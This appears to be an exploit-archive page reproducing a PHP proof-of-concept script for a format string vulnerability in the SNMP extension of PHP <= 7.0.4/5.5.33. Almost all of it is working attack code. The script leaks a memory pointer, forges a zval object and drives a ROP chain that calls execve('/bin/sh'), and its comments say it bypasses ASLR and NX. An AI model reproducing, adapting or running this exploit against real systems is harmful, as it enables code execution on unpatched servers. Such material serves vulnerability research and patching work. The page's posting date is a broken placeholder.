PHP <= 7.0.4/5.5.33 - SNMP Format String Exploit
Posted on 30 November -0001
<HTML><HEAD><TITLE>PHP <= 7.0.4/5.5.33 - SNMP Format String Exploit</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY><?php // PHP <= 7.0.4/5.5.33 SNMP format string exploit (32bit) // By Andrew Kramer <andrew at jmpesp dot org> // Should bypass ASLR/NX just fine // This exploit utilizes PHP's internal "%Z" (zval) // format specifier in order to achieve code-execution. // We fake an object-type zval in memory and then bounce // through it carefully. First though, we use the same // bug to leak a pointer to the string itself. We can // then edit the global variable with correct pointers // before hitting it a second time to get EIP. This // makes it super reliable! Like... 100%. // To my knowledge this hasn't really been done before, but // credit to Stefan Esser (@i0n1c) for the original idea. It works! // https://twitter.com/i0n1c/status/664706994478161920 // All the ROP gadgets are from a binary I compiled myself. // If you want to use this yourself, you'll probably need // to build a new ROP chain and find new stack pivots for // whatever binary you're targeting. If you just want to get // EIP, change $stack_pivot_1 to 0x41414141 below. // pass-by-reference here so we keep things tidy function trigger(&$format_string) { $session = new SNMP(SNMP::VERSION_3, "127.0.0.1", "public"); // you MUST set exceptions_enabled in order to trigger this $session->exceptions_enabled = SNMP::ERRNO_ANY; try { $session->get($format_string); } catch (SNMPException $e) { return $e->getMessage(); } } // overwrite either $payload_{1,2} with $str at $offset function overwrite($which, $str, $offset) { // these need to be global so PHP doesn't just copy them global $payload_1, $payload_2; // we MUST copy byte-by-byte so PHP doesn't realloc for($c=0; $c<strlen($str); $c++) { switch($which) { case 1: $payload_1[$offset + $c] = $str[$c]; break; case 2: $payload_2[$offset + $c] = $str[$c]; break; } } } echo "> Setting up payloads "; //$stack_pivot_1 = pack("L", 0x41414141); // Just get EIP, no exploit $stack_pivot_1 = pack("L", 0x0807c19f); // xchg esp ebx $stack_pivot_2 = pack("L", 0x0809740e); // add esp, 0x14 // this is used at first to leak the pointer to $payload_1 $leak_str = str_repeat("%d", 13) . $stack_pivot_2 . "Xw00t%lxw00t"; $trampoline_offset = strlen($leak_str); // used to leak a pointer and also to store ROP chain $payload_1 = $leak_str . // leak a pointer "XXXX" . // will be overwritten later $stack_pivot_1 . // initial EIP (rop start) // ROP: execve('/bin/sh',0,0) pack("L", 0x080f0bb7) . // xor ecx, ecx; mov eax, ecx pack("L", 0x0814491f) . // xchg edx, eax pack("L", 0x0806266d) . // pop ebx pack("L", 0x084891fd) . // pointer to /bin/sh pack("L", 0x0807114c) . // pop eax pack("L", 0xfffffff5) . // -11 pack("L", 0x081818de) . // neg eax pack("L", 0x081b5faa); // int 0x80 // used to trigger the exploit once we've patched everything $payload_2 = "XXXX" . // will be overwritten later "XXXX" . // just padding, whatevs "x08X" . // zval type OBJECT str_repeat("%d", 13) . "%Z"; // trigger the exploit // leak a pointer echo "> Attempting to leak a pointer "; $data = trigger($payload_1); $trampoline_ptr = (int)hexdec((explode("w00t", $data)[1])) + $trampoline_offset; echo "> Leaked pointer: 0x" . dechex($trampoline_ptr) . " "; // If there are any null bytes or percent signs in the pointer, it will break // the -0x10 will be applied later, so do it now too if(strpos(pack("L", $trampoline_ptr - 0x10), "x00") !== false || strpos(pack("L", $trampoline_ptr - 0x10), "%") !== false) { echo "> That pointer has a bad character in it "; echo "> This won't work. Bailing out... :( "; exit(0); } echo "> Overwriting payload with calculated offsets "; // prepare the trampoline // code looks kinda like... // mov eax, [eax+0x10] // mov eax, [eax+0x54] // call eax overwrite(2, pack("L", $trampoline_ptr - 0x10), 0); overwrite(1, pack("L", $trampoline_ptr - 0x54 + 4), $trampoline_offset); // exploit echo "> Attempting to pop a shell "; trigger($payload_2); // if we make it here, something didn't work echo "> Exploit failed :( "; </BODY></HTML>